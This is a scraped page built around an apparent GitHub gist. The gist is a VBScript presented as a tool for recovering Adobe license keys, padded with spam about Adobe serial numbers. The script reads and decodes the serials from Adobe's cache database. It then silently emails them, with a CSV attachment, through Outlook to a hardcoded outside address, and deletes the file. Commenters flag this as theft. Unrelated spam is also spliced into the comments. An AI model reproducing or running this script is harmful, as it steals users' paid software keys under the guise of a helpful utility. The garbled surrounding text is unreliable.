adobe-licenses.vbs
Find My Adobe Acrobat Serial Number
Adobe Acrobat 9 serial number issue. Posted: by mbond. I installed Adobe Acrobat 9 from the CS5 suite (its a separate disc than the rest of the CS5 suite) using composer. Its a simple drag and drop install. Basically did this: Ran composer and too a snap shot. Installed Adobe Acrobat 9. Apr 25, 2013 - If you bought Adobe Acrobat X along with the system, you would have received a card with the Serial Key for Adobe Acrobat X. You can use this key to activate the. I cannot find a serial with the discs that came with it either.
'Modified by Travis Smith (wpsmith.net) to fetch all Adobe licenses. |
'Written by Ryan Williams ([email protected]), I am not a programmer so please excuse the messy code |
'Now to give credit where credit is due: |
'Cipher code converted from Sam Gleske's javascript found at: http://www.pages.drexel.edu/~sag47/adobe/ |
'His code was Converted from the source for 'Enchanted Keyfinder' |
'original algorithm by Dave Hope (http://www.davehope.co.uk) |
'To run this program make sure that sqlite3.exe is in the same folder as this vbs file. |
'SQLITE3 source and binaries can be found at www.sqlite.org |
'Variable Declarations |
DimobjFSO,objShell,objEM |
DimstrCacheFile,strCurrentDirectory,strCommand,strSQLlite,strLine,strAdobeEncryptedKey,strAdobeKey,strFile |
DimarrTemp1,arrTemp2 |
DimcsvFile |
'Objects: FileSystem & Shell |
SetobjFSO=CreateObject('Scripting.FileSystemObject') |
SetobjShell=CreateObject('WScript.Shell') |
SetobjNetwork=CreateObject('Wscript.Network') |
'Adobe Cache DB File |
strCacheFile='C:Program Files (x86)Common FilesAdobeAdobe PCDcachecache.db' |
strCacheFile=FindCacheFile(strCacheFile) |
'Set Curret Directory |
strCurrentDirectory=left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName))) |
'Location of SQLite |
strSQLlite='C:Usersdth8hxgDocuments_programssqlite3.exe' |
'Command: Get Product Name & Key |
strCommand=strSQLlite&' '&Chr(34)&strCacheFile&Chr(34)&' '&chr(34)&'SELECT subDomain,value FROM domain_data WHERE key='SN' OR key='EncryptedSerial';'&chr(34) |
'Command: Get Key Only |
'strCommand = strCurrentDirectory & 'sqlite3.exe ' & Chr(34) & strCacheFile & Chr(34) & ' ' & chr(34) & 'select value from domain_data where key='SN';' & chr(34) |
'Msgbox(strCommand) |
SetobjOutput=objShell.Exec(strCommand) |
'Prep CSV file |
strFile='C:Users'+objNetwork.UserName+'DesktopAdobeKeys.csv' |
SetcsvFile=CreateCSV(strFile) |
'Prep output text |
strOutput=' |
DoWhileNotobjOutput.StdOut.AtEndOfStream |
'Read line |
strLine=objOutput.StdOut.Readline |
'Get Product |
arrTemp1=Split(strLine,'{|}') |
strProduct=arrTemp1(0) |
'wscript.echo 'Product: ' & product |
'Get Encrypted Key |
REM If (arrTemp1 Is Nothing) Then |
REM If (IsNull(arrTemp1)) Then |
REM If UBound(arrTemp1) Then |
IfIsArray(arrTemp1)Then |
IfUBound(arrTemp1)>=0Then |
Msgbox('Not Empty') |
arrTemp2=Split(arrTemp1(1),'|') |
Else |
Msgbox('Empty') |
arrTemp2=Split(strLine,'|') |
EndIf |
Else |
Msgbox('---Empty') |
EndIf |
strAdobeEncryptedKey=arrTemp2(1) |
strAdobeKey=DecodeAdobeKey(strAdobeEncryptedKey) |
'Store in string |
strOutput=strOutput&strLine&vbCrLf |
'Write to CSV |
csvFile.WriteLinestrLine |
'Output to screen |
wscript.echo'Your Adobe '&strProduct&' License Key is: '&strAdobeKey |
Loop |
'wscript.echo strOutput |
csvFile.Close |
'Email File |
SetobjEM=EmailAdobeKey(strOutput,strFile) |
'Delete files |
IfobjFSO.FileExists(csvFile)Then |
objFSO.DeleteFile(csvFile) |
EndIf |
FunctionIsArrayDimmed(arr) |
IsArrayDimmed=False |
IfIsArray(arr)Then |
OnErrorResumeNext |
Dimub:ub=UBound(arr) |
If(Err.Number=0)And(ub>=0)ThenIsArrayDimmed=True |
EndIf |
EndFunction |
FunctionEmailAdobeKey(strText,strFile) |
SetobjSysInfo=CreateObject('ADSystemInfo') |
SetobjOutlookApp=CreateObject('Outlook.Application') |
SetobjMailItem=objOutlookApp.CreateItem(olMailItem) |
'comment the next line If you do Not want to see the outlook window |
objMailItem.Display |
objMailItem.Recipients.Add'[email protected]' |
objMailItem.Subject='Adobe Licenses' |
objMailItem.Body='Hello,'&vbCrLf&'Attached are my Adobe License Keys: '&strText&vbCrLf&'Thanks,'&vbCrLf&objSysInfo.UserName |
objMailItem.Attachments.AddstrFile |
objMailItem.Send |
SetobjSysInfo=Nothing |
SetobjOutlookApp=Nothing |
SetobjMailItem=Nothing |
SetEmailAdobeKey=Nothing |
Msgbox'Completed!',vbokonly,'Done' |
EndFunction |
FunctionCreateCSV(sFile) |
SetobjFile=CreateObject('Scripting.FileSystemObject') |
SetCreateCSV=objFile.CreateTextFile(sFile) |
EndFunction |
FunctionDecodeAdobeKey(strAdobeEncryptedKey) |
DimAdobeCipher(24) |
DimstrAdobeDecryptedKey |
AdobeCipher(0)='0000000001' |
AdobeCipher(1)='5038647192' |
AdobeCipher(2)='1456053789' |
AdobeCipher(3)='2604371895' |
AdobeCipher(4)='4753896210' |
AdobeCipher(5)='8145962073' |
AdobeCipher(6)='0319728564' |
AdobeCipher(7)='7901235846' |
AdobeCipher(8)='7901235846' |
AdobeCipher(9)='0319728564' |
AdobeCipher(10)='8145962073' |
AdobeCipher(11)='4753896210' |
AdobeCipher(12)='2604371895' |
AdobeCipher(13)='1426053789' |
AdobeCipher(14)='5038647192' |
AdobeCipher(15)='3267408951' |
AdobeCipher(16)='5038647192' |
AdobeCipher(17)='2604371895' |
AdobeCipher(18)='8145962073' |
AdobeCipher(19)='7901235846' |
AdobeCipher(20)='3267408951' |
AdobeCipher(21)='1426053789' |
AdobeCipher(22)='4753896210' |
AdobeCipher(23)='0319728564' |
'decode the adobe key |
fori=0To23 |
if(iMod4=0Andi>0)Then |
'every 4 characters add a '-' |
strAdobeDecryptedKey=strAdobeDecryptedKey&'-' |
endif |
'Grab the next number from the adobe encrypted key. Add one to 'i' because it isn't base 0 |
j=mid(strAdobeEncryptedKey,i+1,1) |
'Add one to J because it isn't base 0 and grab that numbers position in the cipher |
k=mid(AdobeCipher(i),j+1,1) |
strAdobeDecryptedKey=strAdobeDecryptedKey&k |
Next |
DecodeAdobeKey=strAdobeDecryptedKey |
EndFunction |
FunctionFindCacheFile(CacheFile) |
If(NotCacheFile=')And(objFSO.FileExists(CacheFile))Then |
FindCacheFile=CacheFile |
ElseIfobjFSO.FileExists('c:Program Files (x86)Common FilesAdobeAdobe PCDcachecache.db')Then |
FindCacheFile='c:Program Files (x86)Common FilesAdobeAdobe PCDcachecache.db' |
ElseIfobjFSO.FileExists('c:Program FilesCommon FilesAdobeAdobe PCDcachecache.db')Then |
FindCacheFile='c:Program FilesCommon FilesAdobeAdobe PCDcachecache.db' |
Else |
wscript.echo'Can't find the cache.db file' |
wscript.quit |
EndIF |
EndFunction |
commented Jun 2, 2015
How to download game maker studio 14. Nice script.. However I would remove the part where who ever runs this script will send you their Adobe keys.. |
commented Aug 10, 2015
Yeaaah, I'm with netwired. Reported. |
- Jul 22, 2014 - STEP 1: Find Adobe Key (Encrypted). Use one of the methods below. Using SQLite DB: The activation information is stored at the location.
- How to Activate Acrobat DC without Serial Number We suppose that you want to install or reinstall Adobe Acrobat, but you have lost your serial number that comes with the program. In this article, we will show you how to find the serial number for a paid Adobe application, then use it to license and activate Adobe program.
commented Nov 16, 2016
Reported I’ve seen news reports that this new feature lets you run two AV products on your computer. Windows 10 pro 14352 iso download free. |
Adobe Acrobat 11 Serial Number
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment